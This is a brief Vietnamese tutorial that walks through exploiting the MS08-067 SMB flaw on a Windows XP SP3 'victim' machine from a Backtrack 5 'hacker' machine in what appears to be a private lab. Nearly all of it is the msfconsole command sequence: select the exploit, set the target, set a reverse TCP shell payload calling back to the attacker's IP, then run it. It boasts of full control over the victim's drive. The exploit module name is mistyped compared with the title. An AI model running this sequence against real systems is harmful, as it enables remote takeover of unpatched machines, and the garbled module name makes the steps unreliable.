Sử dụng Metasploit để khai thác lỗ hổng ms08_067 trên Windows XP SP3

      Mô hình sử dụng:

Máy Hacker:

Hệ điều hành: Backtrack 5

IP: 192.168.132.131

Máy nạn nhân:

Hệ điều hành: Windows XP SP3

IP: 192.168.132.136

Cách khai thác:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Sử dụng lệnh:

use exploit/windows/smb/ms08_06_netapi

set RHOST 192.168.132.136 (IP máy nạn nhân)

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.132.131 (IP máy hacker)

exploit

Đã vào được ổ C máy nạn nhân, giờ chúng ta có thể làm bất cứ việc gì trên máy của nạn nhân.

Tạo 1 thư mục Khoinv trên máy nạn nhân

OK!.